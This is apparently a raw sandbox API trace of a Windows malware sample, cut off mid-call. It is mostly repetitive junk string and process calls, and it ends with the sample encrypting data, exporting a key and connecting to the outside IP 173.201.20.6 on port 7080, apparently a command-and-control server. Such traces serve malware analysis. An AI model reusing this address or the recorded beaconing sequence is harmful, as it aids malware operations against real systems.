(lpString1="face", lpString2="book") returned 1 [0050.894] GetLastError () returned 0x12 [0050.894] GetLastError () returned 0x12 [0050.894] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.894] SetLastError (dwErrCode=0x12) [0050.894] GetCurrentProcess () returned 0xffffffff [0050.894] GetLastError () returned 0x12 [0050.894] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22FE6P") returned 6 [0050.894] SetLastError (dwErrCode=0x12) [0050.894] GetCurrentProcessId () returned 0x81c [0050.894] GetCurrentProcess () returned 0xffffffff [0050.894] GetLastError () returned 0x12 [0050.894] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22FE7P") returned 6 [0050.894] SetLastError (dwErrCode=0x12) [0050.894] GetCurrentProcessId () returned 0x81c [0050.894] GetLastError () returned 0x12 [0050.894] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="22FE8P") returned 6 [0050.894] SetLastError (dwErrCode=0x12) [0050.894] GetCurrentProcessId () returned 0x81c [0050.894] GetCurrentProcessId () returned 0x81c [0050.894] GetCurrentProcessId () returned 0x81c [0050.894] GetCurrentProcessId () returned 0x81c [0050.894] lstrlenA (lpString="just string") returned 11 [0050.894] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.894] GetLastError () returned 0x12 [0050.894] GetCurrentProcessId () returned 0x81c [0050.894] GetCurrentProcessId () returned 0x81c [0050.894] lstrlenA (lpString="just string") returned 11 [0050.894] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.894] GetLastError () returned 0x12 [0050.894] GetLastError () returned 0x12 [0050.894] lstrlenA (lpString="just string") returned 11 [0050.894] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.894] GetLastError () returned 0x12 [0050.894] GetLastError () returned 0x12 [0050.894] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.895] SetLastError (dwErrCode=0x12) [0050.895] GetCurrentProcess () returned 0xffffffff [0050.895] GetLastError () returned 0x12 [0050.895] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="230A4P") returned 6 [0050.895] SetLastError (dwErrCode=0x12) [0050.895] GetCurrentProcessId () returned 0x81c [0050.895] GetCurrentProcess () returned 0xffffffff [0050.895] GetLastError () returned 0x12 [0050.895] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="230A5P") returned 6 [0050.895] SetLastError (dwErrCode=0x12) [0050.895] GetCurrentProcessId () returned 0x81c [0050.895] GetLastError () returned 0x12 [0050.895] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="230A6P") returned 6 [0050.895] SetLastError (dwErrCode=0x12) [0050.895] GetCurrentProcessId () returned 0x81c [0050.895] GetCurrentProcessId () returned 0x81c [0050.895] GetCurrentProcessId () returned 0x81c [0050.895] GetCurrentProcessId () returned 0x81c [0050.895] lstrlenA (lpString="just string") returned 11 [0050.895] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.895] GetLastError () returned 0x12 [0050.895] GetCurrentProcessId () returned 0x81c [0050.895] GetCurrentProcessId () returned 0x81c [0050.895] GetCurrentProcessId () returned 0x81c [0050.895] lstrlenA (lpString="just string") returned 11 [0050.895] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.895] GetLastError () returned 0x12 [0050.895] GetLastError () returned 0x12 [0050.895] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.895] SetLastError (dwErrCode=0x12) [0050.895] GetCurrentProcess () returned 0xffffffff [0050.895] GetLastError () returned 0x12 [0050.895] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="230F4P") returned 6 [0050.895] SetLastError (dwErrCode=0x12) [0050.895] GetCurrentProcessId () returned 0x81c [0050.895] GetCurrentProcess () returned 0xffffffff [0050.895] GetLastError () returned 0x12 [0050.895] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="230F5P") returned 6 [0050.895] SetLastError (dwErrCode=0x12) [0050.895] GetCurrentProcessId () returned 0x81c [0050.895] GetLastError () returned 0x12 [0050.895] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="230F6P") returned 6 [0050.895] SetLastError (dwErrCode=0x12) [0050.895] GetCurrentProcessId () returned 0x81c [0050.895] GetCurrentProcessId () returned 0x81c [0050.895] GetCurrentProcessId () returned 0x81c [0050.895] GetCurrentProcessId () returned 0x81c [0050.895] lstrlenA (lpString="just string") returned 11 [0050.895] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.895] GetLastError () returned 0x12 [0050.895] GetCurrentProcessId () returned 0x81c [0050.895] GetCurrentProcessId () returned 0x81c [0050.895] GetCurrentProcessId () returned 0x81c [0050.895] lstrlenA (lpString="just string") returned 11 [0050.895] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.895] GetLastError () returned 0x12 [0050.895] GetLastError () returned 0x12 [0050.895] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="23150P") returned 6 [0050.895] SetLastError (dwErrCode=0x12) [0050.895] GetCurrentProcessId () returned 0x81c [0050.896] GetCurrentProcessId () returned 0x81c [0050.896] GetCurrentProcessId () returned 0x81c [0050.896] GetCurrentProcessId () returned 0x81c [0050.896] lstrlenA (lpString="just string") returned 11 [0050.896] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.896] GetLastError () returned 0x12 [0050.896] GetLastError () returned 0x12 [0050.896] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.896] SetLastError (dwErrCode=0x12) [0050.896] GetCurrentProcess () returned 0xffffffff [0050.896] GetLastError () returned 0x12 [0050.896] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="23158P") returned 6 [0050.896] SetLastError (dwErrCode=0x12) [0050.896] GetCurrentProcessId () returned 0x81c [0050.896] GetCurrentProcess () returned 0xffffffff [0050.896] GetLastError () returned 0x12 [0050.896] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="23159P") returned 6 [0050.896] SetLastError (dwErrCode=0x12) [0050.896] GetCurrentProcessId () returned 0x81c [0050.896] GetLastError () returned 0x12 [0050.896] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2315AP") returned 6 [0050.896] SetLastError (dwErrCode=0x12) [0050.896] GetCurrentProcessId () returned 0x81c [0050.896] GetCurrentProcessId () returned 0x81c [0050.896] GetCurrentProcessId () returned 0x81c [0050.896] GetCurrentProcessId () returned 0x81c [0050.896] lstrlenA (lpString="just string") returned 11 [0050.896] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.896] GetLastError () returned 0x12 [0050.896] GetCurrentProcessId () returned 0x81c [0050.896] GetCurrentProcessId () returned 0x81c [0050.896] GetCurrentProcessId () returned 0x81c [0050.896] lstrlenA (lpString="just string") returned 11 [0050.896] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.896] GetLastError () returned 0x12 [0050.896] GetCurrentProcessId () returned 0x81c [0050.896] lstrlenA (lpString="just string") returned 11 [0050.896] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.896] GetLastError () returned 0x12 [0050.896] GetLastError () returned 0x12 [0050.896] GetCurrentProcessId () returned 0x81c [0050.896] GetCurrentProcessId () returned 0x81c [0050.896] lstrlenA (lpString="just string") returned 11 [0050.896] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.896] GetLastError () returned 0x12 [0050.896] GetLastError () returned 0x12 [0050.896] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="231E6P") returned 6 [0050.896] SetLastError (dwErrCode=0x12) [0050.896] GetCurrentProcessId () returned 0x81c [0050.896] GetCurrentProcessId () returned 0x81c [0050.896] GetCurrentProcessId () returned 0x81c [0050.896] GetCurrentProcessId () returned 0x81c [0050.896] lstrlenA (lpString="just string") returned 11 [0050.896] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.896] GetLastError () returned 0x12 [0050.896] GetLastError () returned 0x12 [0050.896] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.896] SetLastError (dwErrCode=0x12) [0050.896] GetCurrentProcess () returned 0xffffffff [0050.896] GetLastError () returned 0x12 [0050.897] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2322AP") returned 6 [0050.897] SetLastError (dwErrCode=0x12) [0050.897] GetCurrentProcessId () returned 0x81c [0050.897] GetCurrentProcess () returned 0xffffffff [0050.897] GetLastError () returned 0x12 [0050.897] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2322BP") returned 6 [0050.897] SetLastError (dwErrCode=0x12) [0050.897] GetCurrentProcessId () returned 0x81c [0050.897] GetLastError () returned 0x12 [0050.897] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2322CP") returned 6 [0050.897] SetLastError (dwErrCode=0x12) [0050.897] GetCurrentProcessId () returned 0x81c [0050.897] GetCurrentProcessId () returned 0x81c [0050.897] GetCurrentProcessId () returned 0x81c [0050.897] GetCurrentProcessId () returned 0x81c [0050.897] lstrlenA (lpString="just string") returned 11 [0050.897] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.897] GetLastError () returned 0x12 [0050.897] GetLastError () returned 0x12 [0050.897] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.897] SetLastError (dwErrCode=0x12) [0050.897] GetCurrentProcess () returned 0xffffffff [0050.897] GetLastError () returned 0x12 [0050.897] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="23266P") returned 6 [0050.897] SetLastError (dwErrCode=0x12) [0050.897] GetCurrentProcessId () returned 0x81c [0050.897] GetCurrentProcess () returned 0xffffffff [0050.897] GetLastError () returned 0x12 [0050.897] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="23267P") returned 6 [0050.897] SetLastError (dwErrCode=0x12) [0050.897] GetCurrentProcessId () returned 0x81c [0050.897] GetLastError () returned 0x12 [0050.897] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="23268P") returned 6 [0050.897] SetLastError (dwErrCode=0x12) [0050.897] GetCurrentProcessId () returned 0x81c [0050.897] GetCurrentProcessId () returned 0x81c [0050.897] GetCurrentProcessId () returned 0x81c [0050.897] GetCurrentProcessId () returned 0x81c [0050.897] lstrlenA (lpString="just string") returned 11 [0050.897] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.897] GetLastError () returned 0x12 [0050.897] GetCurrentProcess () returned 0xffffffff [0050.897] GetLastError () returned 0x12 [0050.897] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="23271P") returned 6 [0050.897] SetLastError (dwErrCode=0x12) [0050.897] GetCurrentProcessId () returned 0x81c [0050.897] GetLastError () returned 0x12 [0050.897] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="23272P") returned 6 [0050.897] SetLastError (dwErrCode=0x12) [0050.897] GetCurrentProcessId () returned 0x81c [0050.897] GetCurrentProcessId () returned 0x81c [0050.897] GetCurrentProcessId () returned 0x81c [0050.897] GetCurrentProcessId () returned 0x81c [0050.898] lstrlenA (lpString="just string") returned 11 [0050.898] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.898] GetLastError () returned 0x12 [0050.898] GetLastError () returned 0x12 [0050.898] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="232AEP") returned 6 [0050.898] SetLastError (dwErrCode=0x12) [0050.898] GetCurrentProcessId () returned 0x81c [0050.898] GetCurrentProcessId () returned 0x81c [0050.898] GetCurrentProcessId () returned 0x81c [0050.898] GetCurrentProcessId () returned 0x81c [0050.898] lstrlenA (lpString="just string") returned 11 [0050.898] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.898] GetLastError () returned 0x12 [0050.898] GetCurrentProcessId () returned 0x81c [0050.898] lstrlenA (lpString="just string") returned 11 [0050.898] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.898] GetLastError () returned 0x12 [0050.898] GetCurrentProcess () returned 0xffffffff [0050.898] GetLastError () returned 0x12 [0050.898] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="2332FP") returned 6 [0050.898] SetLastError (dwErrCode=0x12) [0050.898] GetCurrentProcessId () returned 0x81c [0050.898] GetLastError () returned 0x12 [0050.898] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="23330P") returned 6 [0050.898] SetLastError (dwErrCode=0x12) [0050.898] GetCurrentProcessId () returned 0x81c [0050.898] GetCurrentProcessId () returned 0x81c [0050.898] GetCurrentProcessId () returned 0x81c [0050.898] GetCurrentProcessId () returned 0x81c [0050.898] lstrlenA (lpString="just string") returned 11 [0050.898] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.898] GetLastError () returned 0x12 [0050.898] GetLastError () returned 0x12 [0050.898] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.898] SetLastError (dwErrCode=0x12) [0050.898] GetCurrentProcess () returned 0xffffffff [0050.898] GetLastError () returned 0x12 [0050.898] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="23360P") returned 6 [0050.898] SetLastError (dwErrCode=0x12) [0050.898] GetCurrentProcessId () returned 0x81c [0050.898] GetCurrentProcess () returned 0xffffffff [0050.898] GetLastError () returned 0x12 [0050.898] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="23361P") returned 6 [0050.898] SetLastError (dwErrCode=0x12) [0050.898] GetCurrentProcessId () returned 0x81c [0050.898] GetLastError () returned 0x12 [0050.898] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="23362P") returned 6 [0050.898] SetLastError (dwErrCode=0x12) [0050.898] GetCurrentProcessId () returned 0x81c [0050.898] GetCurrentProcessId () returned 0x81c [0050.899] GetCurrentProcessId () returned 0x81c [0050.899] GetCurrentProcessId () returned 0x81c [0050.899] lstrlenA (lpString="just string") returned 11 [0050.899] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.899] GetLastError () returned 0x12 [0050.899] lstrlenA (lpString="just string") returned 11 [0050.899] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.899] GetLastError () returned 0x12 [0050.899] GetLastError () returned 0x12 [0050.899] wsprintfA (in: param_1=0x290f35f, param_2="%X%P" | out: param_1="23380P") returned 6 [0050.899] SetLastError (dwErrCode=0x12) [0050.899] GetCurrentProcessId () returned 0x81c [0050.899] GetCurrentProcessId () returned 0x81c [0050.899] GetCurrentProcessId () returned 0x81c [0050.899] GetCurrentProcessId () returned 0x81c [0050.899] lstrlenA (lpString="just string") returned 11 [0050.899] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.899] GetLastError () returned 0x12 [0050.899] GetCurrentProcess () returned 0xffffffff [0050.899] GetLastError () returned 0x12 [0050.899] wsprintfA (in: param_1=0x290f35b, param_2="%X%P" | out: param_1="233C5P") returned 6 [0050.899] SetLastError (dwErrCode=0x12) [0050.899] GetCurrentProcessId () returned 0x81c [0050.899] GetLastError () returned 0x12 [0050.899] wsprintfA (in: param_1=0x290f03f, param_2="%X%P" | out: param_1="233C6P") returned 6 [0050.899] SetLastError (dwErrCode=0x12) [0050.899] GetCurrentProcessId () returned 0x81c [0050.899] GetCurrentProcessId () returned 0x81c [0050.899] GetCurrentProcessId () returned 0x81c [0050.899] GetCurrentProcessId () returned 0x81c [0050.899] lstrlenA (lpString="just string") returned 11 [0050.899] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.899] GetLastError () returned 0x12 [0050.899] GetCurrentProcessId () returned 0x81c [0050.899] GetCurrentProcessId () returned 0x81c [0050.899] lstrlenA (lpString="just string") returned 11 [0050.899] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.899] GetLastError () returned 0x12 [0050.899] GetCurrentProcessId () returned 0x81c [0050.899] GetCurrentProcessId () returned 0x81c [0050.899] GetCurrentProcessId () returned 0x81c [0050.899] lstrlenA (lpString="just string") returned 11 [0050.899] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.899] GetLastError () returned 0x12 [0050.899] GetCurrentProcessId () returned 0x81c [0050.899] lstrlenA (lpString="just string") returned 11 [0050.899] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.899] GetLastError () returned 0x12 [0050.899] GetLastError () returned 0x12 [0050.899] GetCurrentProcessId () returned 0x81c [0050.899] GetCurrentProcessId () returned 0x81c [0050.899] GetCurrentProcessId () returned 0x81c [0050.899] lstrlenA (lpString="just string") returned 11 [0050.899] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.899] GetLastError () returned 0x12 [0050.899] GetCurrentProcessId () returned 0x81c [0050.899] GetCurrentProcessId () returned 0x81c [0050.899] lstrlenA (lpString="just string") returned 11 [0050.899] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.900] GetLastError () returned 0x12 [0050.900] GetLastError () returned 0x12 [0050.900] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.900] SetLastError (dwErrCode=0x12) [0050.900] GetCurrentProcess () returned 0xffffffff [0050.900] GetLastError () returned 0x12 [0050.900] wsprintfA (in: param_1=0x290e5fb, param_2="%X%P" | out: param_1="234BEP") returned 6 [0050.900] SetLastError (dwErrCode=0x12) [0050.900] GetCurrentProcessId () returned 0x81c [0050.900] GetCurrentProcess () returned 0xffffffff [0050.900] GetLastError () returned 0x12 [0050.900] wsprintfA (in: param_1=0x290e5fb, param_2="%X%P" | out: param_1="234BFP") returned 6 [0050.900] SetLastError (dwErrCode=0x12) [0050.900] GetCurrentProcessId () returned 0x81c [0050.900] GetLastError () returned 0x12 [0050.900] wsprintfA (in: param_1=0x290e5fb, param_2="%X%P" | out: param_1="234C0P") returned 6 [0050.900] SetLastError (dwErrCode=0x12) [0050.900] GetCurrentProcessId () returned 0x81c [0050.900] GetCurrentProcessId () returned 0x81c [0050.900] GetCurrentProcessId () returned 0x81c [0050.900] GetCurrentProcessId () returned 0x81c [0050.900] lstrlenA (lpString="just string") returned 11 [0050.900] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.900] GetLastError () returned 0x12 [0050.900] lstrlenA (lpString="just string") returned 11 [0050.900] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.900] GetLastError () returned 0x12 [0050.900] GetCurrentProcessId () returned 0x81c [0050.900] lstrlenA (lpString="just string") returned 11 [0050.900] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.900] GetLastError () returned 0x12 [0050.900] GetCurrentProcessId () returned 0x81c [0050.900] GetCurrentProcessId () returned 0x81c [0050.900] GetCurrentProcessId () returned 0x81c [0050.900] lstrlenA (lpString="just string") returned 11 [0050.900] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.900] GetLastError () returned 0x12 [0050.900] GetCurrentProcess () returned 0xffffffff [0050.900] GetLastError () returned 0x12 [0050.900] wsprintfA (in: param_1=0x290e5fb, param_2="%X%P" | out: param_1="23569P") returned 6 [0050.900] SetLastError (dwErrCode=0x12) [0050.900] GetCurrentProcessId () returned 0x81c [0050.900] GetLastError () returned 0x12 [0050.900] wsprintfA (in: param_1=0x290e5fb, param_2="%X%P" | out: param_1="2356AP") returned 6 [0050.900] SetLastError (dwErrCode=0x12) [0050.900] GetCurrentProcessId () returned 0x81c [0050.900] GetCurrentProcessId () returned 0x81c [0050.900] GetCurrentProcessId () returned 0x81c [0050.900] GetCurrentProcessId () returned 0x81c [0050.900] lstrlenA (lpString="just string") returned 11 [0050.900] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.900] GetLastError () returned 0x12 [0050.900] GetLastError () returned 0x12 [0050.900] wsprintfA (in: param_1=0x290e5fb, param_2="%X%P" | out: param_1="235A6P") returned 6 [0050.900] SetLastError (dwErrCode=0x12) [0050.900] GetCurrentProcessId () returned 0x81c [0050.900] GetCurrentProcessId () returned 0x81c [0050.900] GetCurrentProcessId () returned 0x81c [0050.900] GetCurrentProcessId () returned 0x81c [0050.900] lstrlenA (lpString="just string") returned 11 [0050.900] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.900] GetLastError () returned 0x12 [0050.901] GetLastError () returned 0x12 [0050.901] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.901] SetLastError (dwErrCode=0x12) [0050.901] GetCurrentProcess () returned 0xffffffff [0050.901] GetLastError () returned 0x12 [0050.901] wsprintfA (in: param_1=0x290e5fb, param_2="%X%P" | out: param_1="235D6P") returned 6 [0050.901] SetLastError (dwErrCode=0x12) [0050.901] GetCurrentProcessId () returned 0x81c [0050.901] GetCurrentProcess () returned 0xffffffff [0050.901] GetLastError () returned 0x12 [0050.901] wsprintfA (in: param_1=0x290e5fb, param_2="%X%P" | out: param_1="235D7P") returned 6 [0050.901] SetLastError (dwErrCode=0x12) [0050.901] GetCurrentProcessId () returned 0x81c [0050.901] GetLastError () returned 0x12 [0050.901] wsprintfA (in: param_1=0x290e5fb, param_2="%X%P" | out: param_1="235D8P") returned 6 [0050.901] SetLastError (dwErrCode=0x12) [0050.901] GetCurrentProcessId () returned 0x81c [0050.901] GetCurrentProcessId () returned 0x81c [0050.901] GetCurrentProcessId () returned 0x81c [0050.901] GetCurrentProcessId () returned 0x81c [0050.901] lstrlenA (lpString="just string") returned 11 [0050.901] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.901] GetLastError () returned 0x12 [0050.901] GetCurrentProcessId () returned 0x81c [0050.901] lstrlenA (lpString="just string") returned 11 [0050.901] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.901] GetLastError () returned 0x12 [0050.901] GetLastError () returned 0x12 [0050.901] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.901] SetLastError (dwErrCode=0x12) [0050.901] GetCurrentProcess () returned 0xffffffff [0050.901] GetLastError () returned 0x12 [0050.901] wsprintfA (in: param_1=0x290e5fb, param_2="%X%P" | out: param_1="23608P") returned 6 [0050.901] SetLastError (dwErrCode=0x12) [0050.901] GetCurrentProcessId () returned 0x81c [0050.901] GetCurrentProcess () returned 0xffffffff [0050.901] GetLastError () returned 0x12 [0050.901] wsprintfA (in: param_1=0x290e5fb, param_2="%X%P" | out: param_1="23609P") returned 6 [0050.901] SetLastError (dwErrCode=0x12) [0050.901] GetCurrentProcessId () returned 0x81c [0050.901] GetLastError () returned 0x12 [0050.901] wsprintfA (in: param_1=0x290e5fb, param_2="%X%P" | out: param_1="2360AP") returned 6 [0050.901] SetLastError (dwErrCode=0x12) [0050.901] GetCurrentProcessId () returned 0x81c [0050.901] GetCurrentProcessId () returned 0x81c [0050.901] GetCurrentProcessId () returned 0x81c [0050.901] GetCurrentProcessId () returned 0x81c [0050.901] lstrlenA (lpString="just string") returned 11 [0050.901] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.901] GetLastError () returned 0x12 [0050.901] GetCurrentProcessId () returned 0x81c [0050.901] GetCurrentProcessId () returned 0x81c [0050.901] GetCurrentProcessId () returned 0x81c [0050.901] lstrlenA (lpString="just string") returned 11 [0050.901] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.901] GetLastError () returned 0x12 [0050.901] GetLastError () returned 0x12 [0050.902] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.902] SetLastError (dwErrCode=0x12) [0050.902] GetCurrentProcess () returned 0xffffffff [0050.902] GetLastError () returned 0x12 [0050.902] wsprintfA (in: param_1=0x290e61b, param_2="%X%P" | out: param_1="2361CP") returned 6 [0050.902] SetLastError (dwErrCode=0x12) [0050.902] GetCurrentProcessId () returned 0x81c [0050.902] GetCurrentProcess () returned 0xffffffff [0050.902] GetLastError () returned 0x12 [0050.902] wsprintfA (in: param_1=0x290e61b, param_2="%X%P" | out: param_1="2361DP") returned 6 [0050.902] SetLastError (dwErrCode=0x12) [0050.902] GetCurrentProcessId () returned 0x81c [0050.902] GetLastError () returned 0x12 [0050.902] wsprintfA (in: param_1=0x290f03f, param_2="%X%P" | out: param_1="2361EP") returned 6 [0050.902] SetLastError (dwErrCode=0x12) [0050.902] GetCurrentProcessId () returned 0x81c [0050.902] GetCurrentProcessId () returned 0x81c [0050.902] GetCurrentProcessId () returned 0x81c [0050.902] GetCurrentProcessId () returned 0x81c [0050.902] lstrlenA (lpString="just string") returned 11 [0050.902] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.902] GetLastError () returned 0x12 [0050.902] GetCurrentProcessId () returned 0x81c [0050.902] GetCurrentProcessId () returned 0x81c [0050.902] GetCurrentProcessId () returned 0x81c [0050.902] lstrlenA (lpString="just string") returned 11 [0050.902] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.902] GetLastError () returned 0x12 [0050.902] GetCurrentProcess () returned 0xffffffff [0050.902] GetLastError () returned 0x12 [0050.902] wsprintfA (in: param_1=0x290e5fb, param_2="%X%P" | out: param_1="23681P") returned 6 [0050.902] SetLastError (dwErrCode=0x12) [0050.902] GetCurrentProcessId () returned 0x81c [0050.902] GetLastError () returned 0x12 [0050.902] wsprintfA (in: param_1=0x290e5fb, param_2="%X%P" | out: param_1="23682P") returned 6 [0050.902] SetLastError (dwErrCode=0x12) [0050.902] GetCurrentProcessId () returned 0x81c [0050.902] GetCurrentProcessId () returned 0x81c [0050.902] GetCurrentProcessId () returned 0x81c [0050.902] GetCurrentProcessId () returned 0x81c [0050.902] lstrlenA (lpString="just string") returned 11 [0050.902] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.902] GetLastError () returned 0x12 [0050.902] GetCurrentProcessId () returned 0x81c [0050.902] lstrlenA (lpString="just string") returned 11 [0050.902] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.902] GetLastError () returned 0x12 [0050.902] GetCurrentProcessId () returned 0x81c [0050.902] GetCurrentProcessId () returned 0x81c [0050.902] lstrlenA (lpString="just string") returned 11 [0050.902] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.902] GetLastError () returned 0x12 [0050.902] GetLastError () returned 0x12 [0050.902] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.902] SetLastError (dwErrCode=0x12) [0050.902] GetCurrentProcess () returned 0xffffffff [0050.902] GetLastError () returned 0x12 [0050.902] wsprintfA (in: param_1=0x290e61b, param_2="%X%P" | out: param_1="236DAP") returned 6 [0050.903] SetLastError (dwErrCode=0x12) [0050.903] GetCurrentProcessId () returned 0x81c [0050.903] GetCurrentProcess () returned 0xffffffff [0050.903] GetLastError () returned 0x12 [0050.903] wsprintfA (in: param_1=0x290e61b, param_2="%X%P" | out: param_1="236DBP") returned 6 [0050.903] SetLastError (dwErrCode=0x12) [0050.903] GetCurrentProcessId () returned 0x81c [0050.903] GetLastError () returned 0x12 [0050.903] wsprintfA (in: param_1=0x290e61b, param_2="%X%P" | out: param_1="236DCP") returned 6 [0050.903] SetLastError (dwErrCode=0x12) [0050.903] GetCurrentProcessId () returned 0x81c [0050.903] GetCurrentProcessId () returned 0x81c [0050.903] GetCurrentProcessId () returned 0x81c [0050.903] GetCurrentProcessId () returned 0x81c [0050.903] lstrlenA (lpString="just string") returned 11 [0050.903] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.903] GetLastError () returned 0x12 [0050.903] GetLastError () returned 0x12 [0050.903] GetLastError () returned 0x12 [0050.903] GetLastError () returned 0x12 [0050.903] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x290f4c0 | out: phHash=0x290f4c0) returned 1 [0050.903] CryptEncrypt (in: hKey=0x3c6db8, hHash=0x3d1cd8, Final=1, dwFlags=0x0, pbData=0x3d264c*, pdwDataLen=0x290f4b4*=0x231, dwBufLen=0x240 | out: pbData=0x3d264c*, pdwDataLen=0x290f4b4*=0x240) returned 1 [0050.904] GetCurrentProcessId () returned 0x81c [0050.904] CryptExportKey (in: hKey=0x3c6db8, hExpKey=0x3c6328, dwBlobType=0x1, dwFlags=0x40, pbData=0x290f444, pdwDataLen=0x290f4b0 | out: pbData=0x290f444*, pdwDataLen=0x290f4b0*=0x6c) returned 1 [0050.904] GetCurrentProcessId () returned 0x81c [0050.904] CryptGetHashParam (in: hHash=0x3d1cd8, dwParam=0x2, pbData=0x3d2638, pdwDataLen=0x290f4b0, dwFlags=0x0 | out: pbData=0x3d2638, pdwDataLen=0x290f4b0) returned 1 [0050.904] CryptDestroyHash (hHash=0x3d1cd8) returned 1 [0050.904] lstrlenA (lpString="just string") returned 11 [0050.904] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.904] GetLastError () returned 0x0 [0050.905] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x290f2b8, cbSize=0x290f4b8 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x290f4b8) returned 0x0 [0050.916] GetLastError () returned 0x0 [0050.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x290f2b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0050.917] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0051.058] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, 